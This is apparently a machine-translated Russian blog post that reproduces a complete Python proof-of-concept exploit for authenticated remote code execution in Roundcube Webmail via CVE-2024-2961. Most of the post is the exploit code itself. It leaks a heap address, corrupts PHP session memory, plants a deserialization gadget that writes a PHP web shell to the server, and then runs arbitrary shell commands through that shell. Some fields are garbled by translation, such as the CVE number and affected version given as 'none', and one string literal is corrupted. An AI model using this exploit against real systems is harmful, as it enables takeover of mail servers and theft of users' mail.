Н/Д|В веб-почте Roundcube имеется уязвимость удаленного выполнения кода (POC).
Н/Д|В веб-почте Roundcube имеется уязвимость удаленного выполнения кода (POC).

0x00 Предисловие

Roundcube — это широко используемая программа электронной почты с открытым исходным кодом, используемая многими организациями и компаниями по всему миру.

За последние несколько лет файлы изображений только на SourceForge были загружены более 260 000 раз, что составляет лишь небольшую часть фактической группы пользователей.

После успешной установки Roundcube на сервере он предоставит пользователям веб-интерфейс, а прошедшие проверку подлинности пользователи смогут отправлять и получать электронную почту через веб-браузер.

0x01 Описание уязвимости

Под воздействием CVE-2024-2961 злоумышленники могут изменять распределение памяти ядра Roundcube с помощью фильтров PHP в сочетании с функцией iconv(), в конечном итоге добиваясь удаленного выполнения произвольного кода.

PS: Для входа вам понадобится ваша учетная запись Roundcube Webmail и пароль.

0x02 номер CVE

никто

0x03 затронутая версия

никто

0x04 Подробности об уязвимости

POC:

https://github.com/ambionics/cnext-exploits/blob/main/roundcube-exploit.py

Язык кода:javascript
копировать
#!/usr/bin/env python3
#
# CNEXT: Roundcube authenticated RCE (CVE-2024-2961)
# Date: 2024-06-17
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# INFORMATIONS
#
# Tested on Roundcube 1.6.6, PHP 8.3. This is merely a POC. If it fails, you'll have to
# debug it yourself. Maybe the target is patched, or my leak technique does not work
# for the Roundcube/PHP version of your target.
#
# REQUIREMENTS
#
# Requires ten: https://github.com/cfreal/ten
#


from dataclasses import dataclass, field

from ten import *
from pwn import p64, p32, u64


HEAP_SIZE = 2 * 1024**2


class Buffer:
    def __init__(self, size: int, byte: bytes = b"\x00") -> None:
        self.array = bytearray(byte * size)

    def __setitem__(self, position: int, value: bytes) -> None:
        end = position + len(value)
        if end > len(self.array):
            raise ValueError(
                f"Cannot write value of size {len(value)} at position {position} in buffer of size {len(self.array)}"
            )
        self.array[position : position + len(value)] = value

    def __bytes__(self) -> bytes:
        return bytes(self.array)


class Data:
    data: list[tuple[str, bytes]]

    def __init__(self, form: Form, **kwargs) -> None:
        self.data = [
            (key, to_bytes(value)) for key, value in (form.data | kwargs).items()
        ]

    def add(self, key: str, value: bytes) -> None:
        self.data.append((key, to_bytes(value)))

    def marker(self, key: str, size: int, c: bytes = b"M") -> None:
        marker = f"M{key}".encode()
        marker = marker + string(size - len(marker), c=c)
        self.add(key, marker)

    def delete(self, key: str) -> None:
        self.add(key, b"")

    def encode(self, value) -> bytes:
        return tf.qs.encode_all(value).encode()

    def min_encode(self, value: bytes) -> bytes:
        """Perform the minimum URL-encoding for value."""
        value = value.replace(b"+", b"%2B")
        value = value.replace(b"&", b"%26")
        return value

    def __bytes__(self) -> bytes:
        data = b"&".join(
            key.encode() + b"=" + self.min_encode(value) for key, value in self.data
        )
        # data = data + b"&"
        # data = data.ljust(1024*1024, b"x")
        return data


@entry
@arg("url", "URL of target")
@arg("username", "Username")
@arg("password", "Password")
@arg("command", "Command to run")
@dataclass
class Exploit:
    """Roundcube authenticated RCE exploit using CVE-2024-2961 (CNEXT)."""

    url: str
    """URL of the target."""
    username: str
    """Username to authenticate with."""
    password: str
    """Password to authenticate with."""
    command: str
    """Command to run on the target."""

    session: ScopedSession = field(init=False)
    form: Form = field(init=False)

    @inform("Authenticating", "Login OK", "Failed to authenticate", ko_exit=True)
    def login(self) -> bool:
        response = self.session.get("/")
        form = response.form(id="login-form")
        response = form.update(_user=self.username, _pass=self.password).submit()
        response.expect(302, 401)
        return response.code(302)

    @inform("Getting compose form...")
    def get_form(self) -> Form:
        response = self.session.get("/?_task=mail&_mbox=INBOX&_action=compose")
        response.expect(302)
        response = response.follow_redirect()
        self.form = response.form(action="/?_task=mail")

    def submit(self, data: bytes) -> Response:
        return self.session.post(
            "/?_task=mail&_framed=1",
            data=bytes(data),
            headers={"Content-Type": "application/x-www-form-urlencoded"},
        )

    @inform("Leaking heap...")
    def get_leak(self) -> None:
        """We use chunks of size 0x800 to perform the exploit.
        The size is not trivial: sprintf() returns chunks multiple of 0x400, and we'll
        see why it is useful later on.

        The idea is to trigger the bug, and use it to make a chunk A of size 0x800 get
        allocated a little bit lower than expected, and overflow into the chunk B right
        under itself. We want to use A to overwrite B's zend_string header before it is
        displayed on the page to increase its size.
        The difficulty here is that we need B to be displayed RAW in the page - for
        instance, if json_encode() is called on B before it is displayed, it will
        discard some of the bytes of the leak, and make it less useful.
        To do so, I chose to play with the rcmail_output_html::get_js_commands() method,
        which allocates and concatenates a few strings (some that we control) before
        they get displayed. After the exploitation of the bug, we have FL[0x800]:

            D -> B -> C -> A', with A' sitting 0x4a bytes after A in memory

        To perform this magic trick we will make use of every input value and every
        string manipulation calls such as json_encode(), sprintf(), and the
        concatenations that happen in the function.

        Despite being ~80 lines long, this part was absolute hell.

        The leak is around 0x3000 bytes, so we can allocate something on the page right
        under to leak addresses.

        By creating and clearing a few 0x800 pointers using POST data, we make sure that
        the leak points very close to us. It actually points to the first L[1], so by
        substracting 0x800*2 we get to L[0], and at -0x800*6 we have V[0].
        """
        what = "heap"
        assert what in ("heap", "main")

        # _(27, 2048,    8, 4, x, y) \
        NB_VICTIMS_PER_ALLOC = 4
        NB_POSTS_PER_ALLOC = NB_VICTIMS_PER_ALLOC // 2
        VICTIM_SIZE = 0x800  # 3072 # 29
        VICTIM_SIZE_MIN = 0x700 + 1  # 2560 # 28

        data = Data(self.form)

        data.add("_charset", b"ISO-2022-CN-EXT")

        # Overflow!
        data.add("_to", overflow_string(VICTIM_SIZE))
        # unlock is too small for chunks of 0x800, but if you add one byte, it is not
        # anymore
        data.add("_unlock", unlock(VICTIM_SIZE_MIN - 1))

        # Small pad
        for i in range(NB_POSTS_PER_ALLOC + 2):
            data.marker(f"PV[{i}]", VICTIM_SIZE_MIN, b"V")

        # Victims
        for i in range(NB_POSTS_PER_ALLOC):
            data.marker(f"V[{i}]", VICTIM_SIZE_MIN, b"\x00")

        match what:
            # We want to leak pointers to our chunks of the same size as the one used to
            # exploit, so we allocate 0x800 chunks and free them
            case "heap":
                # Leak pointers
                for i in range(NB_POSTS_PER_ALLOC):
                    data.marker(f"L[{i}]", VICTIM_SIZE_MIN, b"\x00")

                # Create these so that the memory leak leaks their precise address
                data.delete(f"L")
            # This is legacy code: what is always `heap` now, but I keep it in case you
            # want to see the difference: here, we allocate arrays to be able to see
            # them in the heap
            case "main":
                for i in range(100):
                    data.marker(f"A[{i}]", 0x38)
                data.delete("A")

        # Make the free list become: D B C A
        data.delete(f"V")

        # _cc and _bcc will get exploded by ",", and each email will be parsed one by
        # one. If one produces an error, it is stored and an error message is displayed
        # Otherwise, the list of every email separated by ", " is stored.

        # _cc: this value is the first invalid email, and it'll get stored in order to
        # be displayed in a json_encoded error message:
        #   "Adresse courriel invalide : <MAIL>"
        # We use a value that makes the json_encode() to fit in a 0x800 chunk, as well
        # as the sprintf() that comes later on.
        error_email = string(0x650, b"o") + b"\x00" * 55 + b"abcdef"
        data.add("_cc", error_email)

        # _bcc: contains multiple emails
        #
        # Create a list of emails which, after being concatenated and stored by
        # email_input_format(), fit in a 0x800 chunk, thus padding the FL
        mail_list = "a@t.net, "
        mail_list = (mail_list + " " * 20) * (VICTIM_SIZE_MIN // len(mail_list))
        mail_list = mail_list.encode()
        data.add("_bcc", mail_list)

        # Get our leak!
        response = self.submit(data)
        match = response.re.search(
            rb'parent.rcmail.iframe_loaded\((".*)abcdef","error",0\);\n}\n</script>\n\n\n</head>\n<body>\n\n</body>\n</html>$',
            flags=re.S,
        )
        assume(match, "Could not get leak")

        match = match.group(1)
        assume(len(match) > 0x00000E64, "Could not trigger leak")

        match what:
            case "heap":
                leak = u64(match[0x00001FA8:0x00001FB0])
                msg_info(f"Leaked heap address: [b]{hex(leak)}")
            # Same: this is legacy code, but I keep it in case you want to see the idea
            case "main":
                leak = u64(match[0x000027D8:0x000027E0])
                msg_success(f"Leaked [i]_zval_ptr_dtor[/] address: [b]{hex(leak)}")

        return leak

    @inform("Executing code...")
    def overwrite_session_preferences(self, heap: int) -> None:
        """Overwrite the session hashmap+bucket to point to create a fake `preferences`
        key-value that will be deserialized afterwards.
        """
        VICTIM_SIZE = 0x400
        VICTIM_SIZE_MIN = 0x380 + 1

        data = Data(self.form)

        data.add("_charset", b"ISO-2022-CN-EXT")
        trigger = (
            "A" * (VICTIM_SIZE - 0x100)
            + «ААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААА аааааааааааааааааааааааааааааа
        )
        data.add("_to", trigger)
        # data.add("_unlock", unlock(0x700))
        HEAP_BASE_ADDR = heap & ~(HEAP_SIZE - 1)
        SESSION_BUCKETS_ADDR = HEAP_BASE_ADDR + 0xA2000 - 0x100
        # Offset from our overwrite to the Bucket allocation
        OFF_WRITE = 0x280
        # Number of entries in the array
        entries = 0x20

        # Create a few chunks of size 0x400 which contain, at offset 0x48, an arbitrary
        # address, and free them. After we overwrite the LSB of the FL[0x400] pointer,
        # it'll point to said arbitrary address.
        for i in range(10):
            payload = bytearray(string(VICTIM_SIZE_MIN, b"\x00"))
            offset = 0x48 - 0x18
            payload[offset : offset + 8] = p64(SESSION_BUCKETS_ADDR - OFF_WRITE - 0x18)
            data.add(f"A[{i}]", payload)

        data.delete("A")

        # We modify arData[0] and set its key to preferences. When the session gets
        # saved, PHP will extract the keys one by one from the session array, and then
        # use zend_hash_find() to find the corresponding value. We update the hashmap
        # so that when looking for the index in arData of preferences, 0x21 is returned.
        # 0x21 is the index of the fake bucket we created, which points to the fake
        # value (a serialized string)
        # The key/value pair therefore gets stored in the array. When we go on the index
        # afterwards, preferences gets deserialized (rcube_user.php:147)

        # Key of the session bucket that we want to change
        KEY = b"preferences"
        VALUE = qs.decode_bytes(
            """a:2:{i:7%3BO:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"%00GuzzleHttp\Cookie\CookieJar%00cookies"%3Ba:1:{i:0%3BO:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"%00GuzzleHttp\Cookie\SetCookie%00data"%3Ba:3:{s:7:"Expires"%3Bi:1%3Bs:7:"Discard"%3Bb:0%3Bs:5:"Value"%3Bs:30:"<?php%20eval($_REQUEST['x'])%3B%20?>"%3B}}}s:39:"%00GuzzleHttp\Cookie\CookieJar%00strictMode"%3BN%3Bs:41:"%00GuzzleHttp\Cookie\FileCookieJar%00filename"%3Bs:23:"./public_html/shell.php"%3Bs:52:"%00GuzzleHttp\Cookie\FileCookieJar%00storeSessionCookies"%3Bb:1%3B}i:7%3Bi:7%3B}"""
        )
        # Its hash
        KEY_HASH = 0xC0C1E3149808DB17
        # And its offset in the hashmap
        HASH_OFFSET = 0xFFFFFFFF & (KEY_HASH | 0xFFFFFFC0)
        HASH_OFFSET = 0xFFFFFFFF - HASH_OFFSET + 1
        HASH_OFFSET = 0x40 - HASH_OFFSET

        BASE_ADDR = SESSION_BUCKETS_ADDR + 0x500
        KEY_ADDR = BASE_ADDR + 0x40
        VALUE_ADDR = BASE_ADDR + 0x270

        # A fake index that actually points AFTER the Buckets[] in memory, right onto
        # our modified bucket
        in_string = 0
        # The original (unmodified) hashmap
        hashmap = bytearray(
            bytes.fromhex(
                f"""
ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  
ff ff ff ff 05 00 00 00  ff ff ff ff ff ff ff ff  
ff ff ff ff 15 00 00 00  11 00 00 00 ff ff ff ff  
ff ff ff ff ff ff ff ff  ff ff ff ff 0e 00 00 00  
04 00 00 00 ff ff ff ff  ff ff ff ff ff ff ff ff  
ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  
ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  
ff ff ff ff ff ff ff ff  07 00 00 00 ff ff ff ff  
ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  
ff ff ff ff 13 00 00 00  ff ff ff ff ff ff ff ff  
12 00 00 00 0f 00 00 00  02 00 00 00 08 00 00 00  
0a 00 00 00 ff ff ff ff  0d 00 00 00 ff ff ff ff  
ff ff ff ff ff ff ff ff  ff ff ff ff 14 00 00 00
0b 00 00 00 ff ff ff ff  ff ff ff ff 06 00 00 00  
09 00 00 00 ff ff ff ff  ff ff ff ff 10 00 00 00  
0c 00 00 00 ff ff ff ff  ff ff ff ff ff ff ff ff  
"""
            )
        )
        # Change hash to make it point to the first bucket, that we have modified
        hashmap[HASH_OFFSET * 4 : HASH_OFFSET * 4 + 4] = p32(in_string)
        victim = Buffer(OFF_WRITE + 0x100 + 0x20, b"A")
        victim[OFF_WRITE] = hashmap
        # Fake bucket
        victim[OFF_WRITE + 0x100] = (
            p64(VALUE_ADDR)  # ZVAL ZVALUE
            + p32(6)
            + p32(0xFFFFFFFF)  # ZVAL TYPE and NEXT
            + p64(KEY_HASH)  # HASH
            + p64(KEY_ADDR)  # KEY
        )
        victim = bytes(victim)
        assert (
            VICTIM_SIZE >= len(victim) + 0x18 + 1 >= VICTIM_SIZE_MIN
        ), f"{hex(len(victim) + 0x18 + 1)}"

        # _from addresses, separated by `;`, get through a list of modifications. The
        # two we use are the mime decoding (=?UTF-8?B?<base64>?=) and then a trim()
        # base64-decode is nice because it allows us to have raw bytes in our payload
        # (bypass the charset conversion that happens first), but it will decode in a
        # buffer that has the same size as the base64 (for instance if b64 has size
        # 0xc00, the decoded string is allocated in a 0xc00 chunk as well). A few calls
        # deeper, our values are trim()ed however, which will cause a reallocation.
        # The trim() operations will therefore allocate the chunks
        def build_equal_payload(data: bytes) -> str:
            data = b" " * 1000 + data
            data = base64.encode(data)
            data = f"=?UTF-8?B?{data}?="
            return data

        victim = build_equal_payload(victim)
        # our fake pointer points to a 0x500 chunk; when it gets freed, it'll be put in
        # the FL (and be ready to be allocated). We create other 0x500 allocs to protect
        # it
        protector = bytearray(string(0x500, b"P"))
        protector = build_equal_payload(protector)

        data.add("_from", ";".join([victim] * 30 + [protector] * 10))

        # Create an array of 0x500 chunks separated by a hole
        # like A-<hole>-B-<hole>-C-<hole>-D...
        # The buckets of $_SESSION will get allocated in one of the holes
        # TODO Reduce N probably
        n = 10
        for i in range(n * 2):
            data.marker(f"B[{i}]", 0x500, b"X")
        data.delete("B")

        # We create chunks filled with 0x00, so that when we alter the FL to point
        # there, it does not break with successive allocations.
        # In addition, we include a fake key and value in there, that we can reference
        # in our modified bucket

        for i in range(n):
            padder = Buffer(string_size(0x500))

            fake_key = Buffer(0x30)
            fake_key[0x00] = p32(100) + p32(6)  # gc
            fake_key[0x08] = p64(KEY_HASH)  # HASH
            fake_key[0x10] = p64(len(KEY))  # LEN
            fake_key[0x18] = KEY + b"\x00"
            fake_key = bytes(fake_key)

            fake_value = Buffer(0x280)
            fake_value[0x00] = p32(100) + p32(6)  # gc
            fake_value[0x08] = p64(0)  # HASH
            fake_value[0x10] = p64(len(VALUE))  # LEN
            fake_value[0x18] = VALUE + b"\x00"
            fake_value = bytes(fake_value)

            padder[0x028] = fake_key
            padder[0x258] = fake_value
            padder = bytes(padder)
            data.add(f"Z[{i}]", padder)

        data.add("_draft", "1")

        try:
            r = self.submit(data)
        except Exception:
            failure("Crash while dumping binary")

        if not r.code(500):
            msg_warning("No error, strangely")

        msg_success("Set session preferences, triggering!")

        response = self.session.get("/")
        command = "rm -rf shell.php; " + self.command
        command = base64.encode(command)
        command = f"""system(base64_decode('{command}'));"""
        response = self.session.post("/public_html/shell.php", {"x": command})

        if response.code(200):
            msg_success("Command executed")
        elif response.code(404):
            failure("Payload was not deserialized")
        else:
            failure(f"Unexpected error: {response.status_code}")

    def run(self) -> None:
        self.session = ScopedSession(self.url)
        # Initial request to setup heap IDK
        self.session.get("/")
        # self.session.burp()
        self.login()
        self.get_form()
        heap = self.get_leak()
        self.overwrite_session_preferences(heap)
        self.session.close()


def string_size(n: int) -> int:
    return n - 24 - 1


def string(n: int, c: bytes = b"A") -> bytes:
    return c * string_size(n)


def overflow_string(n: int) -> bytes:
    prefix = b"\xe2\x84\x96\xe2\x84\x96\xe2\x84\x96\n" * 11
    suffix = b"\xe3\xb4\xbd"
    fake_mail = b"F" * 0x600 + b","
    added_size = n - 32 - len(prefix + suffix + fake_mail)
    value = fake_mail + string(added_size, b"O") + prefix + suffix
    return value


def unlock(size: int) -> bytes:
    """
    pwndbg> hex args[0]->value.str
    +0000 0x7f3e803d6400  02 00 00 00 16 00 00 00  00 00 00 00 00 00 00 00  │........│........│
    +0010 0x7f3e803d6410  58 03 00 00 00 00 00 00  69 66 20 28 77 69 6e 64  │X.......│if.(wind│
    +0020 0x7f3e803d6420  6f 77 2e 70 61 72 65 6e  74 20 26 26 20 70 61 72  │ow.paren│t.&&.par│
    +0030 0x7f3e803d6430  65 6e 74 2e 72 63 6d 61  69 6c 29 20 70 61 72 65  │ent.rcma│il).pare│
    +0040 0x7f3e803d6440  6e 74 2e 72 63 6d 61 69  6c 2e 69 66 72 61 6d 65  │nt.rcmai│l.iframe│
    +0050 0x7f3e803d6450  5f 6c 6f 61 64 65 64 28  22 55 55 55 55 55 55 55  │_loaded(│"UUUUUUU│
    ...
    +0050 0x7f3e803d6760  55 55 55 55 55 55 55 55  55 55 55 55 22 29 3b 0a  │UUUUUUUU│UUUU");.│
    +0060 0x7f3e803d6770  00 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20  │........│........│
    """
    return string(size - 70, b"U")


Exploit()

ссылка на ссылку 0x05

https://roundcube.net/

https://github.com/ambionics/cnext-exploits/blob/main/roundcube-exploit.py

https://www.ambionics.io/blog/iconv-cve-2024-2961-p2

Статьи и инструменты в этом официальном аккаунте предназначены только для ознакомления. Любые прямые или косвенные последствия и ущерб, вызванные распространением и использованием информации, представленной в этом документе, несут ответственность самого пользователя этого официального аккаунта и автора. статья не несут за это никакой ответственности.

boy illustration
Углубленный анализ переполнения памяти CUDA: OutOfMemoryError: CUDA не хватает памяти. Попыталась выделить 3,21 Ги Б (GPU 0; всего 8,00 Ги Б).
boy illustration
[Решено] ошибка установки conda. Среда решения: не удалось выполнить первоначальное зависание. Повторная попытка с помощью файла (графическое руководство).
boy illustration
Прочитайте нейросетевую модель Трансформера в одной статье
boy illustration
.ART Теплые зимние предложения уже открыты
boy illustration
Сравнительная таблица описания кодов ошибок Amap
boy illustration
Уведомление о последних правилах Points Mall в декабре 2022 года.
boy illustration
Даже новички могут быстро приступить к работе с легким сервером приложений.
boy illustration
Взгляд на RSAC 2024|Защита конфиденциальности в эпоху больших моделей
boy illustration
Вы используете ИИ каждый день и до сих пор не знаете, как ИИ дает обратную связь? Одна статья для понимания реализации в коде Python общих функций потерь генеративных моделей + анализ принципов расчета.
boy illustration
Используйте (внутренний) почтовый ящик для образовательных учреждений, чтобы использовать Microsoft Family Bucket (1T дискового пространства на одном диске и версию Office 365 для образовательных учреждений)
boy illustration
Руководство по началу работы с оперативным проектом (7) Практическое сочетание оперативного письма — оперативного письма на основе интеллектуальной системы вопросов и ответов службы поддержки клиентов
boy illustration
[docker] Версия сервера «Чтение 3» — создайте свою собственную программу чтения веб-текста
boy illustration
Обзор Cloud-init и этапы создания в рамках PVE
boy illustration
Корпоративные пользователи используют пакет регистрационных ресурсов для регистрации ICP для веб-сайта и активации оплаты WeChat H5 (с кодом платежного узла версии API V3)
boy illustration
Подробное объяснение таких показателей производительности с высоким уровнем параллелизма, как QPS, TPS, RT и пропускная способность.
boy illustration
Удачи в конкурсе Python Essay Challenge, станьте первым, кто испытает новую функцию сообщества [Запускать блоки кода онлайн] и выиграйте множество изысканных подарков!
boy illustration
[Техническая посадка травы] Кровавая рвота и отделка позволяют вам необычным образом ощипывать гусиные перья! Не распространяйте информацию! ! !
boy illustration
[Официальное ограниченное по времени мероприятие] Сейчас ноябрь, напишите и получите приз
boy illustration
Прочтите это в одной статье: Учебник для няни по созданию сервера Huanshou Parlu на базе CVM-сервера.
boy illustration
Cloud Native | Что такое CRD (настраиваемые определения ресурсов) в K8s?
boy illustration
Как использовать Cloudflare CDN для настройки узла (CF самостоятельно выбирает IP) Гонконг, Китай/Азия узел/сводка и рекомендации внутреннего высокоскоростного IP-сегмента
boy illustration
Дополнительные правила вознаграждения амбассадоров акции в марте 2023 г.
boy illustration
Можно ли открыть частный сервер Phantom Beast Palu одним щелчком мыши? Супер простой урок для начинающих! (Прилагается метод обновления сервера)
boy illustration
[Играйте с Phantom Beast Palu] Обновите игровой сервер Phantom Beast Pallu одним щелчком мыши
boy illustration
Maotouhu делится: последний доступный внутри страны адрес склада исходного образа Docker 2024 года (обновлено 1 декабря)
boy illustration
Кодирование Base64 в MultipartFile
boy illustration
5 точек расширения SpringBoot, супер практично!
boy illustration
Глубокое понимание сопоставления индексов Elasticsearch.
boy illustration
15 рекомендуемых платформ разработки с нулевым кодом корпоративного уровня. Всегда найдется та, которая вам понравится.
boy illustration
Аннотация EasyExcel позволяет экспортировать с сохранением двух десятичных знаков.